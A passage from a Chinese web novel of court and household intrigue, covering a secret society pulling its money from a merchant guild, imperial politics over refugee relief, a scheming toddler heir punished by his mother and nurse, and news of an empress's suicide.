父亲萌生退意,必定是看到了自己还没有悟透的一面,看来自己也要回去跟父亲商量商量啊。 反倒是温令仪,亲力亲为的给病人治病,哪里看得出来半点儿锋芒,就是被晏怀卿几次三番的羞辱,也都摆出来一副忍辱负重的模样,自己没看透啊。 ***乔管事急匆匆回到京城,到了天下商会立刻从后门出去直奔沈府。 沈宗儒刚下衙,管家说乔掌事火急火燎的等了半天,让管家把人带到书房里。 乔管事一见到沈宗儒,就差哭出来了:“老爷,天道盟出来了。” “嗯?”沈宗儒蹙眉:“出来作甚?” “帮着众合商会对付我们,那个少主像是还没断奶的娃娃,可一张嘴就直奔我们天下商会来,还威胁奴才,让奴才带话给您,说天下商会再无所欲为,她就要出手了。”乔管事愤愤不平:“我们做的事情,不也是众合商会在做的事吗?她这是踩一个捧一个。” 沈宗儒眉头紧锁,天下商会背后有一股力量在掌控,就连他也只知道是天道盟,每年所得都要分出去六成交给天道盟,但这么多年从不见天道盟的人露面,就算是取走红利的时候,露面的人都戴着面具。 自己曾经问过李若甫,李若甫只说让自己恭敬着,并没有说天道盟到底是什么路数,江湖门派中倒是听说过天道盟,可那天道盟是个专干杀人越货勾当的杀手组织,沈宗儒觉得不像是一伙的。 这些年确实恭敬着了,怎么就得罪了他们,还弄出来了个众合商会? 明面上,天下商会是平阳纪家,众合商会则是皇上让罗无咎弄出来的明堂,难道天道盟投靠了朝廷? 这个想法一出现,沈宗儒就坐不住了,让乔管事把所有的事情停下来,撤回自己的人,他去找李若甫。 李若甫这几日焦头烂额,水患和边关不安宁压的他闯不过起来,京城外的流民越来越多,也不知道皇上为何盯上了自己,罗无咎可比自己轻松多了。 偏偏这个小女娃盛气凌人的来了,自己还得恭敬着,心里极为不舒坦,如今一人之下万人之上,能让自己小心翼翼的可不多。 “老爷,沈宗儒沈大人求见,说有要事。”管家过来禀告。 李若甫看着带着修罗面具的小囡囡,清了清嗓子:“少主,可需回避一下?” “好。”小囡囡点头,旁边跟随来的人立刻过去把人抱起来,一转身到屏风后面去了。 沈宗儒进了书房,给李若甫行礼后,压低声音:“李大人,天道盟怕是投靠了朝廷,要拿咱们开刀啊。” 李若甫脸色一沉,这倒灶的玩意儿,怎么是说这个? 反倒是屏风后面的小囡囡勾起了唇角,她就知道沈宗儒是为了天道盟来的,所以回避一下是好的,不然自己怎么有机会翻脸呢? 沈宗儒不知道天道盟的人在,只当李若甫变脸是因为生气,立刻说:“乔管事说了,那什么少主就是个没断奶的娃娃,这不是胡闹吗?也不知道什么路数,但这让咱们十分被动,李大人,这件事……” “够了!”李若甫一拍桌子。 沈宗儒吓一跳,抬头看李若甫眼珠子都要冒出来了似的瞪着自己,竟觉得委屈,自己受苦受累还要挨骂,跑来商量还错了? “李大人何必发火?本座倒是觉得沈大人说的没错,天道盟是不是投靠了朝廷不重要,本座是个娃娃倒是真的,至于是不是胡闹,那要看我愿意不愿意。”黑衣人抱着小囡囡从屏风后面走出来。 沈宗儒不是个傻子,他意识到自己错了,只觉得人要是倒霉,喝一口凉水都塞牙。 抬头看黑衣人抱在怀里的小奶娃子,只觉得自己这辈子的脸都丢尽了。 可李若甫的脾气他太了解,若是惹了这么大的祸事,往后没好果子吃。 思及此,只能赔着笑脸,抬起手自扇嘴巴子:“少主息怒,我这也是着急才口不择言的,天下商会所做之事,还不是也在为少主和天道盟做事嘛。” 小囡囡冷笑:“沈大人怪不得能身居高位,果然能屈能伸,不过沈大人,你觉得我是小娃娃就好糊弄吗?” “不是,不是。”沈宗儒冷汗都下来了。 小囡囡却没为难沈宗儒的意思,而是看着李若甫:“李大人,天下没有不散的筵席,天道盟瞧不上天下商会下作的做派,今日我既然来了,撤走属于天道盟的所有资源,好聚好散是定局,三天吧,三天后把所有属于天道盟的东西都送回去。” 李若甫起身拱手一礼。 “不必再说,我们走。”小囡囡连说话的机会都没给李若甫。 李若甫看着小囡囡离开的背影,回头照着沈宗儒的脸就是一嘴巴子,怒道:“成事不足败事有余的东西!如今如何收场?你知不知道就算把你我的身家都拿出来,也还不起天道盟给的银钱?更不用说天下商会手底下的人,半数也都是天道盟的,混账东西!你怎么不去死!” “李大人,下官也不知道啊,这倒霉催的,我怎么也没想到她在这儿啊。”沈宗儒哭丧着脸:“现在该怎么办啊?” 怎么办? 李若甫微微的眯起眼睛,自己若是知道怎么办,还至于发火?得罪不起天道盟,得罪不起皇上,自己还得罪不起罗无咎那个老匹夫吗? 罗府。 罗无咎打了个喷嚏,旁边的罗少商担忧的问:“父亲,可是身体不妥当?” 第145章 狗咬狗,就咬吧 罗无咎抬起手揉了揉额角:“你说天道盟也是温令仪的靠山之一?” “确实。”罗少商说:“父亲,江湖门派从来就没有好相与的,如今倒是让我摸不到头脑了,怎么看都不像是为国分忧,可偏偏做得都是为国分忧的事。” “你啊。”罗无咎叹了口气:“什么是为国?国又是什么?世人多慕强,只觉得高高在上的人厉害,可你想一想,国什么时候是某个姓氏的了?少商啊,国以民为本,什么叫为国分忧?你难道不知得民心者得天下吗?” 罗少商浑身一震,再看父亲,还有什么想不通的? 从什么时候开始的不知道,但温家、晏家分别驻守漠北和雁门关的时候,一切就已经变了,自己不在庙堂之上,所以看不清楚时局,可温令仪开众合商会,奉旨开保和堂,流民带着时疫来到京城,朝廷未动,温令仪先动了,这事出反常自己竟也没看出来。 更不用说现如今众合商会要安排流民回原籍,看似为朝廷解忧,可实际上这些流民一旦回去原籍,就像是春天播撒在田野里的一粒种子,他们那里会感念朝廷恩德,却一定会代代相传众合商会仁义。 “父亲,罗家?”罗少商不敢再往深处想了。 罗无咎摇了摇头:“罗家,算得了什么呢?百姓随波逐流,可代代相传,罗家理应跟百姓一样。” 罗少商明白父亲所指当下时局,也是在说罗家将来,如此就好,也只能如此。 “去吧,好好做事。”罗无咎说。 罗少商恭敬地给父亲行礼后离开,直接去了皇城外,好好做事,罗家当下都该如此,包括自己哪个不省心的二儿子,跑去雁门关,本来还担心,如今反倒释然了,福祸相依,从来如此,留在京城未必是好事。 流民归心似箭。 众合商会言出必行。 但凡家里人都没有病痛的,一个个欢天喜地的离开,临走前给罗少商磕头,罗少商都羞愧,但温令仪从始至终都没有站在前头,自己只能受着。 永元帝得到消息都震惊了,立刻召见罗无咎入宫。 “罗爱卿,少商乃朕的福星啊。”永元帝喜形于色,尽管现在大夏面临内外交困的局面,可是能安置都聚集到京城的这些流民,无疑给永元帝去了一大块心病。 罗无咎躬身:“吾皇明见,罗少商不过是站在了前头,显眼罢了,真正为民解忧的是温令仪,若非她带着人给流民治疗时疫,一旦成灾后果不堪设想,听说这次送馒头去城外,几乎是温令仪手里的全部身家了,还有各家都伸以援手,才能共渡难关。” 永元帝摆手:“该赏则赏。” 罗无咎提着袍子跪下:“皇上,这件事还涉及到了一个叫天道盟的组织,无迹可寻,但出手阔绰,安置流民之前,这个天道盟找到了罗少商,给了足够的银两赠送给百姓做盘缠,微臣认为事出反常,还请皇上彻查天道盟。” 永元帝微微挑眉:“听名字是江湖门派,回头再查,罗爱卿请起,朕这就下旨嘉奖众合商会、保和堂、也要赏赐罗少商和温令仪。” “谢主隆恩。”罗无咎起身立在一旁。 赵长义从外面进来,到永元帝耳边低声说:“皇上,李若甫和沈宗儒求见。” 永元帝本来还挺高兴,听到这两个人的名字顿时沉了脸色:“宣。” 李若甫和沈宗儒进门,一眼看到了早来一步的罗无咎,罗无咎素来都是八风不动的姿态,如今看在眼里,李若甫只觉得极其刺眼。 二人给永元帝请安。 永元帝等了片刻不见他们说话,抬头:“李爱卿,你这是进宫来看看朕的?” “皇上,老臣有事要奏请。”李若甫说。 永元帝蹙眉:“说。” “这个……”李若甫一脸为难的看了眼罗无咎。 罗无咎上前一步:“微臣告退。” 永元帝微微点头。 等罗无咎退下后,李若甫给沈宗儒递了个眼色。 沈宗儒跪倒在地:“皇上,众合商会罗少商和江湖门派勾结,鼓惑民心,意图让百姓对朝廷不满。” 永元帝淡淡的看着沈宗儒:“沈爱卿如此几句话,朕怎能信服?” “天道盟是江湖门派,极有可能和西域三十六国有关,微臣虽没有确实的证据,可如此颠覆民心,于江山社稷不利。”沈宗儒说的言之凿凿。 可他哪里知道永元帝现在恨不得直接砸死沈宗儒。 什么意思?该朝廷做的事朝廷没做呗? 可是现在朝廷捉襟见肘,拿什么做?朝廷做不了,难道就让流民堵在城外,闹到人心惶惶就不是颠覆民心了?对江山社稷就有利了? “臣以为,天道盟可以查,但更可以招安。”李若甫多了解皇上啊,看皇上这脸色,立刻拱手找补。 永元帝压下心里的火气:“这件事就教给沈宗儒。” 沈宗儒想要一头撞死,什么玩意儿!自己到底是招惹了哪路神仙?怎么感觉诸事不顺,做什么错什么呢?自己招安天道盟?怎么招? 可是,皇上金口玉言,不听话就是抗旨不尊,硬着头皮也要接下这个差事。 李若甫上前半步:“皇上,南地水路手足,南曲水路转运已经停了,但陆路尚可周转,如今南方缺医少药更少粮食,朝廷需要赈灾。” 永元帝点头,确实如此。 “晋阳转运虽是陆路,但此时运送粮食往南地是当务之急,唯有让百姓有饭吃,才能让他们自力更生。”李若甫说。 永元帝扫了眼李若甫,这是明晃晃冲着罗无咎来了,毕竟朝廷转运这一块始终都是罗无咎负责。 果然,李若甫说:“昌洛转运这一块比较棘手,那边的粮仓已经被流民抢了两处,剩下一处还需要做军需补给,臣以为可以让昌洛那边试试跟民间粮商收购一些。” 永元帝端起茶盏送到嘴边:“李爱卿觉得,此时朝廷派遣钦差巡抚出京如何?” “正当时,吾皇圣明。”李若甫心里冷笑,罗无咎敢对自己出手,那这次就别想好过! 永元帝放下茶盏:“好,李若甫听旨。” 李若甫只觉得后背发凉,跪倒在地。 “朕命你为钦差,出京为朕往各处路政司调遣安排粮、药之事。”永元帝冷冷的看着跪在地上的李若甫,这次,李若甫若想破局,那就只能动用平阳纪家,这么多年养着,养到了今日也该动一动了。 李若甫哪里想到自己偷鸡不成蚀把米,硬着头皮接旨。 永元帝心里舒坦多了,想要狗咬狗,那就咬,自己现在已经非常艰难了,管不了那么多。 赵长义急匆匆进来,满脸喜色,就差哭出来了:“皇上,皇上大喜啊,摄政王的飞鸽传书。” 永元帝猛地站起身:“什么?玉琢来信了?他没死!” 第146章 杀自己?那还成个狗屁大将军? 永元帝打开裴祈安的书信,激动地脸都红了。 裴祈安没死! 非但没死,还要攻打大宛国! 不用粮饷,不用一兵一卒! 这简直是永元帝收到的最好的消息! 只有短短的几句话,永元帝反复看了好几遍,畅快的笑出声来:“赵长义!你看看这才是朕的忠臣!这才是朕的左膀右臂!” “恭喜皇上,贺喜皇上,皇上是贤名之君,自然会得群臣拱卫,摄政王雄才伟略堪比当年的裴玄,果然是谋士无双啊。”赵长义跪下一迭声的说。 永元帝缓缓点头:“你说得对!只可惜没什么可以赏赐的。” 赵长义赶紧说:“皇上,摄政王如今所求未必是赏赐,为了大夏安危孤身在外拼杀,所求不过是大夏江山永固。” “你倒是了解他。”永元帝睨了一眼赵长义。 赵长义瞬间冷汗都冒出来了,赶紧说:“老奴看着皇上长大,彼时摄政王日日跟皇上在一起,自是了解一二的。” 永元帝摆手:“起来吧,又没有责怪你。” 赵长义悬到嗓子眼的心可算归位了,起身恭敬地垂首立在一旁。 永元帝确实犯愁,没什么可赏赐,半边月的解药是没有的,可除了这个摄政王府还缺什么?若是换做别人还能送一些美人儿过去,可裴祈安的身子……,唉。 同样收到消息的还有南英。 南英拿着那封书信都犯愁了,少主那么小的孩子,也不知道主子怎么想的,就算是识字那也是有限的,难道还能指望少主能看懂书信? 偏偏上面还写着亲启,罢了,不管怎么说,差人送过去就对了。 此时的小囡囡在摆弄自己那些珠子,喜欢圆滚滚、亮晶晶的各种珠子是执念,没道理,就是愿意看。 出去转悠一圈,把天下商会架在火上烤只不过是想要让李若甫乱了阵脚,娘亲要扶持宋家,宋家本就该扶持,毕竟做大事处处都需要银子打点,自己再会赚银子也底子太薄了,哪里有宋家这般深厚的底蕴呢? 棠雨从外面进来,也有些觉得稀奇,小姐还这么小,竟然就有人给送书信来了,也不知道写信的人是怎么想的。 “小姐,有人送来了一封信,说是让小姐亲启。”棠雨把书信放在小囡囡面前。 小囡囡随手拿过来书信扫了眼,挑眉,竟然是萧玄策写来的。 算算日子,萧玄策早就应该见到裴祈安了,这两个人十有八九是合作了。 打开书信,躺在枕头上懒洋洋的看着。 即便如此,棠雨都觉得稀奇,小姐虽异于常人,可这像模像样看书信,多少让人有些不太相信的。 小囡囡看完一页,翻身做起来,打开下一页,竟是裴祈安写来的,这两个人的书信放在一起送来,有一种两个人穿一条裤子的错觉。 裴祈安在书信里问了娘亲近况,问娘亲可去龙首山拜佛了吗?还叮嘱要人去照看一下王府。 小囡囡微微皱眉,娘亲近况到是寻常话,龙首山拜佛是什么意思?王府能去照看吗?避嫌都来不及,谁能去? 翻来覆去也就这么几句话,小囡囡把书信收起来,瞟到了那一匣子各种宝珠,眼睛一亮,龙首山的奇货密室里肯定不止是草药,王府里也一定有很多能救急的金银。 换而言之,便宜爹需要银子。 小囡囡让棠雨把珠子收起来,坐在小榻上望着窗外。 十月过半了,眼看着京城就要冷了,今年虽然不像去年那般寒冷,可也不是个好过的冬天,那些流民必须要尽快离开京城,否则他们承受不住京城的寒冷,江南水患也应该退了。 当今皇上有点儿意思,说昏庸吧,比他的祖父和父亲都强一些,说明君吧,又是个专门在小事上斤斤计较,大事就一筹莫展的人,要不是这个人早亡,其实大夏还能安宁点儿。 原本人渣太子活得太好,反倒是当今皇上在裴祈安死后,大夏要对萧玄策称臣之前便死了,对外说暴毙,其实是萧玄策出手取了他的性命,辅佐人渣太子登基,为刀不血刃收服大夏做准备的。 算算日子,三年后就是永元帝死期,不过现在人渣太子死了,裴祈安和萧玄策合作,谈不上谁死谁活,未来的走向就不太确定了。 “我就要找她,就要找她。” 门外突然传来了晏明昭的声音,奶声奶气都透着霸道。 小囡囡微微蹙眉,她太讨厌晏明昭了,晏明昭受宠,宠信他的人是已经死了的人渣太子,两个人臭味相投一拍即合,作恶多端可想而知。 小张氏柔声劝着,突然惊呼一声,小囡囡直接把窗户关上了。 棠雨出去查看,回来的时候忍不住翻白眼儿,进门见小姐又在摆弄珠子,过来轻声说:“小姐,外面闹腾起来了,小公子用簪子刺伤了张氏。” “哦?”小囡囡抬头看棠雨。 棠雨说:“小公子说咱们听风苑里的饭菜好吃,非要让张氏来抢厨子,张氏哪里敢?这会儿还在满地打滚呢。” 小囡囡把珠子一个个放好:“随他。” 别说满地打滚了,就是死了都跟自己没关系,一个冒牌货还真以为自己是主子了,对小张氏都没有一点点儿敬畏心的小畜生,府里上上下下真正在乎他的也就只有小张氏。 小张氏无奈的坐在地上,浑身沾满了尘土,手臂上的伤口往外渗血,再看越闹越来劲儿的晏明昭,只剩下心烦了。 打不得骂不得,小张氏索性起身直接走了,叫来了两个嬷嬷看着,什么时候闹腾够了,带回去便是。 晏明昭见两个婆子虎视眈眈的看着他,爬起来就往墨韵阁去,进了小张氏的屋子里,抬起手指着小张氏:“贱婢,你敢惹我,你就死定了,我以后会成为大将军!” 小张氏冷冷的看着他,成为大将军? “我一定第一个就杀了你!贱婢!”晏明昭说。 小张氏笑了,杀自己?那还成个狗屁大将军? 养好一个孩子费劲心力也未必能成,可要养坏一个孩子,太简单了! 反正不是夫人亲生的,她想怎么养就怎么养? 思及此,小张氏起身走过来:“你是不是想要吃好吃的?有人玩儿?” “是!我要去找那个野种玩儿,你个贱婢怎么能有这个本事,让我去听风苑,我要去找母亲,只有母亲才能帮我。”晏明昭说。 小张氏觉得秦国公府是个很邪门的地方,夫人身边的小姐十分早慧,这个晏明昭虽然性子像顽石,可打从会说话后,也总是说一些没头没尾却又骇人的话。 “去听风苑是不行的,夫人不允许你去,我带你去别的地方找人玩儿,也有好吃的。”小张氏说。 晏明昭狐疑的看着小张氏。 温令仪看着陆陆续续走光了的流民,这世上还没有什么东西能比银子更好使,有钱能使鬼推磨,诚然不假。 最后那些尚未痊愈的流民也执意要走,生怕最后没有银子拿,温令仪给开了足够痊愈的药,叮嘱他们务必要吃,等流民散尽,她坐上马车带着郎中们回京。 前面就是秦王府,若不是小囡囡在府里,她都不想回去,撩起帘子不经意的瞥见了小张氏,微微挑眉,再看一群小孩子在一起滚得浑身是土,玩儿的不亦乐乎的晏明昭正趴在地上托着一个小女娃满地爬,淡漠的收回目光,小张氏倒还真懂事,不用自己出手,就已经在往歪了养呢。 不过,迟迟没有雁门关的消息,要么自己把晏明昭送去雁门关,不知道可行不可行。 第147章 府里下人不懂规矩,她如何掌家的? 温令仪回到府里,小囡囡正背着小手,教棠雨和梨雪学九算,梨雪打着算盘,满头是汗,棠雨都把毛笔咬秃了。 一旁小李氏忙着做入冬的棉衣浅粉绣蝴蝶的样式,一看就是给小囡囡准备的,偶尔小李氏抬头往小囡囡这边看一眼,笑弯了眼睛。 岁月静好不过如此,温令仪靠在门旁静静地看着,不自觉勾起了唇角。 小囡囡心有所感抬头看过来,顿时甜笑着跑过来,张开手臂:“娘亲~” 温令仪蹲下来张开怀抱,拥住乳燕投怀般的女儿,柔声:“囡囡这些日子当上夫子了?” “棠雨和梨雪很聪明,以后必定会独当一面,我就是帮她们学点儿用得上的本事呀。”小囡囡说。 小李氏带着棠雨和梨雪过来给温令仪请安。 温令仪点了点头,让她们去忙自己手里头的事,抱着小囡囡进屋。 小囡囡一刻也闲不住,把零嘴儿都搬出来摆在温令仪面前,笑眯眯的看着温令仪:“娘亲,吃,好吃的。” “你啊,也就在娘亲跟前当小孩儿。”温令仪抬起手捏了捏小囡囡的脸蛋儿:“背地里可做了不少大事。” 小囡囡笑出声来:“都瞒不过娘亲。” 温令仪心想,哪里瞒得住呢?罗少商这些日子一天跑一趟往城外去,天下商会变卖产业的事京城里的人都知道,当然,唯有罗少商知道为何天下商会要变卖产业,因为天道盟要撤回当年投进去的银子,还是连本带利。 小囡囡从柜子下面取出来个不小的匣子,费劲的抱着送到温令仪手边:“娘亲,都是你的。” 温令仪打开匣子,噗嗤笑了:“你这鬼精灵,是不是从一开始就这么打算的?” “是啊,娘亲真聪明,这些都是义父的东西,那就是我的,我怎么会把自己的钱财给对手用?”小囡囡笑眯眯的说:“娘亲,你想做什么尽可去做。” 温令仪摇头:“如今时局艰难,没有什么好买卖能做。” “娘亲。”小囡囡拉长声调:“盛世置地,乱世藏金啊。” 温令仪眼睛一亮:“囡囡说,我们卖首饰?” “当然是首饰,那些大户人家都聪明着呢,只要咱们手里有足够的金银首饰,那必定能换来许多银子。”小囡囡说:“银子是流通货币,但金子是永远的流通硬货,更保值。” 温令仪想到了漠北,那座山的金银矿可不小,工匠到那边日子不短了,若是运送一些黄金回来,确实能最大限度收割贵胄世家的银子。 不是黄金不好,而是银子流通起来更方便。 小囡囡又给自己想到了赚银子的好法子呢。 “还有这个。”小囡囡把裴祈安的书信取出来,放在温令仪的手里。 温令仪打开的时候,心都止不住怦怦乱跳了好几下,哪怕知道裴祈安没事,可知道没事和看到书信的感觉是不一样的。 龙首山的奇货确实可以取出来一部分换成现银,至于摄政王府,温令仪不想沾染,裴祈安许久不在京城,谁能保证王府如今还是铁桶一块呢。 放下书信:“就算我们有现银,想要送到大宛也很难,银票的话,那边兑换不了。”温令仪微微蹙眉:“看来,还是得让众合商会走一趟。” 小囡囡拿起来一个蜜饯小口小口吃着,听到这话没言语。 温令仪柔声:“囡囡,你好好在家里等娘亲,娘亲去商会一趟。” “好呀。”小囡囡点头。 温令仪把书信收好,起身出门。 走出听风苑,还没等到墨韵阁就听到了小孩子撒泼的哭嚎声,本不想搭理,谁成想晏明昭从屋子里跑出来,险些撞到温令仪。 “夫人,小心。”小张氏吓得失声大喊。 温令仪这才看到晏明昭手里竟有一把精致的匕首,沉了脸色。 晏明昭抬头看温令仪,看了好几眼才问:“你就是明昭的母亲吗?” “你的母亲是张氏。”温令仪说。 晏明昭跺脚:“你胡说!是你!是你!就是你!你好狠的心,不管我死活吗?那个贱婢整日里不准我做这个、做那个,难道是要把我困死吗? 温令仪上一眼下一眼的打量晏明昭,一岁多的孩子竟如此口齿伶俐,要不是有囡囡在前面比着,自己可能会被吓一跳。 小张氏已经到了温令仪近前,伸出手拉晏明昭藏在身后,低着头:“夫人,奴婢没有照看好小公子,让您受惊了。” 温令仪看小张氏额头青紫一片,问:“这是被他砸的?” “对,是我砸的。”晏明昭扬起脸,一幅得意的模样。 温令仪点了点头:“那就去跪祠堂两个时辰,不准求情,谁要敢求情就一起陪着跪。” “凭什么?我是主子,我还处置不了一个奴才了?”晏明昭一脸不服,从小张氏身后走出来:“母亲是不喜欢我,只喜欢那个捡来的野种吗?” 温令仪扬起手就是一嘴巴,抽的晏明昭跌坐在地上,捂着脸不敢相信的看着温令仪:“你打我?你敢打我?” “有何不敢?张氏是你父的平妻,平妻就是你的母亲,从小照顾在你身边,服侍你长大有功,你竟不知孝顺为何,那就让你长长记性!”温令仪咬紧牙关,囡囡是什么野种,这个小狼崽子才是野种!是杀了二哥的仇人! 小张氏低着头不看温令仪,也不看晏明昭。 挨打可怜吗?小张氏不觉得,这么小的孩子就如此坏,果然不是夫人亲生的,跟晏家人一样自私自利,自以为是。 “我长大要当大将军的!我当了大将军就杀了你!”晏明昭指着温令仪:“你不配当我娘亲,你从来就没照顾过我!” 温令仪微微的眯起眼睛,不理晏明昭,而是问小张氏:“除了你和荷香在他身边,还有旁人照看他吗?” 小张氏摇头,猛然想起来:“夫人,老夫人身边的韩嬷嬷在府里。” 这就对了,晏明昭知道什么?必定是有人背后教唆。 “送他去跪祠堂,我不回来就不准他起来,若有人来求情就说我定下的规矩,一起跪着!”温令仪说完,转身离开。 身后,小张氏和荷香两个人抓着晏明昭往祠堂去,晏明昭哭喊得很大声,像是抓猪似的。 温令仪从众合商会回来。 刚回到映月院,碧桃就进来禀报:“夫人,老夫人跟前的韩嬷嬷求见。” “我乏了。”温令仪靠在迎枕上,随手拿过来一本账目查看,旁边小囡囡认真的玩儿着那些滚圆的珠子。 碧桃退下。 晚饭的时候,温令仪往听风苑去用饭,容氏的饭菜味道极好,自己这些天别说好好睡一觉了,就是好好吃顿饭的工夫都没有。 “夫人,夫人啊,那可是国公府的嫡长子啊,以后要袭爵的,是你身上掉下来的肉,亲肤肉啊。”韩嬷嬷爬着往这边来,在门口被碧桃拦住了。 温令仪本来一步都跨到听风苑了,听到这话收回脚步,看着韩嬷嬷。 韩嬷嬷哭着磕头:“夫人,小公子还小,跪祠堂会伤了双腿啊。” “你倒是关心他,难道活了一把年纪还不知道惯子如杀子的道理?他不敬长辈,打伤了张氏,跪祠堂都是轻的。”温令仪说。 韩嬷嬷抬头:“夫人啊,小公子多金贵啊?那张氏不过是个玩意儿,还能越过小公子去?” 小张氏刚好听到了韩嬷嬷的话,眯起眼睛,心里暗骂:“老货,真是给你脸了,夫人不愿意插手府里的事,自己就是这府里的主子!” 温令仪蹙眉:“碧桃,把她送到张氏那边,府里下人不懂规矩,她如何掌家的?” “是。”碧桃过去拎韩嬷嬷。 韩嬷嬷甩开碧桃:“夫人!你要逼死老奴吗?老奴一片忠心,你让一个下作玩意儿羞辱老奴,老奴不如死了痛快。” 说着就要去撞墙。 温令仪止住了碧桃:“要死就让她死,省得倚老卖老惹我耳根子不清净。” 小张氏走过来给温令仪行礼:“夫人,奴婢会处理这件事的。” “嗯。”温令仪转身走了。 小张氏一步一步走到韩嬷嬷跟前,环抱于胸,冷冷的盯着韩嬷嬷:“死啊,你不是寻死吗?” 第148章 皇后死了 韩嬷嬷老脸涨红,抬头恶狠狠的盯着小张氏,啐了一口:“贱蹄子,你以为自己是个什么玩意儿!夫人是个没用的,立不住,倒显得你多能耐了!老奴我打从跟夫人到了国公府里,就没见过那个贱蹄子能长久的!你等世子回来,看你还是个什么玩意儿!” 啪! 一个大嘴巴打的韩嬷嬷老脸瞬间就肿起来了。 小张氏吩咐身后跟着的婆子:“按着她跪下!” “别碰我!你们碰我个试试!”韩嬷嬷嘴上这么说,眼里已经有了惧意,她伺候的都是贵女,就算是打人那手上的力道也是软绵绵的,眼前这个小张氏一嘴巴抽的她眼冒金星,已经后悔冒这个头了。 小张氏带来的婆子可不是国公府的人,那绝对是把小张氏当成主子,并且是唯一主子的人,哪里会听韩嬷嬷咋咋呼呼?过来直接把人按跪在地上,那力道让韩嬷嬷忍不住惨叫。 “你背地里教坏了小公子,还敢仗着死人的势压别人一头,你算个什么东西?奴才的本分都守不住,一把年纪活到了狗肚子里去了?这么忠心耿耿,你怎么不给柱子陪葬呢?”小张氏抬起手,荷香递过来马鞭。 打人这种事情,小张氏可不想借别人的手,出身怎么了?自己出身低微照旧能当主子!大户人家养出来的奴才,到死也是奴才! 韩嬷嬷被打的惨叫连连,满地打滚儿。 旁边看着的晏明昭吓得都不敢哭了,跌坐在地上直愣愣的看着韩嬷嬷的衣衫被血染红了,张开嘴三爷发不出来一点点声音。 小张氏用脚踹了踹昏死过去的韩嬷嬷,扔了马鞭:“拖到柴房去,死了就扔去乱葬岗。” 几个下人都被吓得瑟瑟发抖,哪里敢说话? 小张氏回头看晏明昭,刚往这边走,晏明昭哇一声就哭出来了,那哭声透着凄惨。 “小公子,跟我回去。”小张氏说。 晏明昭爬起来撒腿就跑,一个没站稳摔趴在地上也一声不吭,爬起来继续跑,一路回去了墨韵阁,钻到了桌子底下不敢露头。 小张氏慢悠悠的回到院子里,进门的时候扫了一眼桌子底下露出的一片衣角,勾了勾唇没做声,自己倒是希望小公子成为自己的仰仗,不过看来这小孩天生就是个坏种,才这么大就一身戾气,自己伺候了这么久,没有功劳也有苦劳,若是不念着自己的好,没有良心,自己就会让他长出来良心的。 真当自己是个好欺负的? 坐下来,小张氏慢条斯理的喝茶,荷香伺候在旁边,根本没人搭理躲在桌子底下的晏明昭。 听风苑里。 温令仪听碧桃说了外面的事,没做声。 若非名分在,自己会留在这里?这个府里小张氏愿意怎么折腾就怎么折腾,就算出了人命,自己都不会皱一下眉头的。 陪着小囡囡用过饭,带着她去外面遛弯儿。 温令仪很清楚自己和女儿的关系跟很多人家都不一样,别看小囡囡小,可真要说起来当下的局势,温令仪都是佩服的。 “娘亲,庄子那边粮食要收完了,我们去庄子里啊。”小囡囡说。 温令仪揉了揉小囡囡的发顶:“不必出京,我们去镇国公府住,那边很多事情也需要处理。” “好。”小囡囡觉得只要离开秦国公府就行。 虽然在自己知道的情节里,小张氏是不存在的人物,可娘亲重生归来安排了这个人,那就太妙了,很多娘亲不能做的事,小张氏可以做,甚至给足够的权利,小张氏可以无师自通。 人嘛,一旦手里有了权力,尝到了权力带来的好处,承受不住也寻常,都说不怕为富不仁,就怕贫人暴富,也就是这个道理。 翌日。 温令仪带着小囡囡回去镇国公府,听风苑和映月院都只留了两个婆子看顾着。 记住本站: 镇国公府里。 老管家带着府里的下人迎到门口,打从老国公带着全家往漠北去,国公府里就自留下了几个负责洒扫和收拾院子的人,余下的都打发了。 温令仪让小囡囡随处去玩儿,她把国公府的产业账目都摆在桌子上,开始盘账。 说起来温家的产业确实是勋贵里比较多的,倒不是镇国公多厉害,而是宋家的陪嫁是真多,祖母和母亲,再到后面的长嫂和二嫂,这些账目自己盘好后,要差人送去漠北,连带着一年的收益。 其实,这些事情交给账房和管家也行,不过温令仪想要躲个清净,也是想要让别人查不出来任何纰漏,许多不能走明面的东西都可以从温家这边过个明路。 小囡囡坐在后花园的假山上,抬头就能看到远处露出个尖顶的皇宫。 打从郎玉衡死后,宫里头倒真没什么别的消息传出来。 但小囡囡知道,太后熬过来了,可皇后却熬不住的,上一世皇后就是在这个时候发现太子品行恶劣,苦口婆心劝说无果后,郁郁寡欢,三个月后死在了病榻上。 至于外界传言病故,其实是托词,陈皇后之所以会死,何尝不是为了保全娘家人?她身为太尉府的嫡长女,养出来这么一个逆子,若自己不死,早晚会拖累陈家被满门抄斩的。 太尉府和开国三公比起来,陈皇后太明白这轻重了,再者虽贵为皇后,别人都只看她荣光无限,可谁有能知道内里是多么的度日如年呢? 权衡利弊后,陈皇后自杀而亡。 说起来,小囡囡还觉得这个陈皇后死的怪可惜的,毕竟人是真的好,但可惜归可惜,自己可没有那么大的本事,谁都救,永元帝那点子腌臜心思就养着吧,早晚被世人皆知,到时候唾沫星子都能淹死这位所谓的明君。 正想着,小囡囡听到了钟声,猛地站起来眺望皇宫的方向,死了?难道不该是三个月后吗?怎么提前了这么多? 与此同时,温令仪也愣住了,起身又坐下,丧钟,宫里有人死了,难道是太后? 可是几日前自己还见过太后,看着气色没问题啊。 “娘亲。”小囡囡一溜烟儿的跑回来,进门拉住温令仪的衣袖,踮起脚尖:“娘亲,皇后死了。” 温令仪赶紧捂住了小囡囡的嘴,轻声:“不可胡说,且等着。” “是自杀。”小囡囡拉着温令仪的手指了指书房密室的入口,温令仪抱起来小囡囡打开密室的门走了进去…… 记住本站: 第149章 跑到街上玩这些宝贝,那真是太招贼了 密室里,小囡囡坐在坐榻上神色凝重的说:“陈皇后不得不死,太子的死本就重创了她,当她发现太子竟是如此是禽兽不如的时候,陈皇后就知道自己没活路了。” “囡囡,你都知道什么?”温令仪说:“能都告诉娘亲吗?” 小囡囡轻轻地叹了口气:“娘亲,我本不想对你说太多,可现如今不说是不行了。” 温令仪坐在小囡囡对面,作势认真听。 小囡囡说:“娘亲是重生的人,知道的那些我就不多说了,我现在说一说这位永元帝,他对爹爹极好,从小两个人一起长大,登基之后爹爹更是为他稳定江山立下了汗马功劳,世人都以为他会是大夏的明君。” 温令仪点头,确实如此。 “实则不然,那个人渣太子只是年纪太小,不善隐藏,被人发现罢了,其实最龌龊的人是永元帝,他一直都想要爹爹,而不是女人。”小囡囡说。 温令仪只觉得胃里一阵翻腾,差点儿没吐出来。 小囡囡掏出来个蜜饯塞到温令仪的嘴里:“娘亲放心吧,爹爹根本不理他,不过爹爹是知道这个人不正常的。” 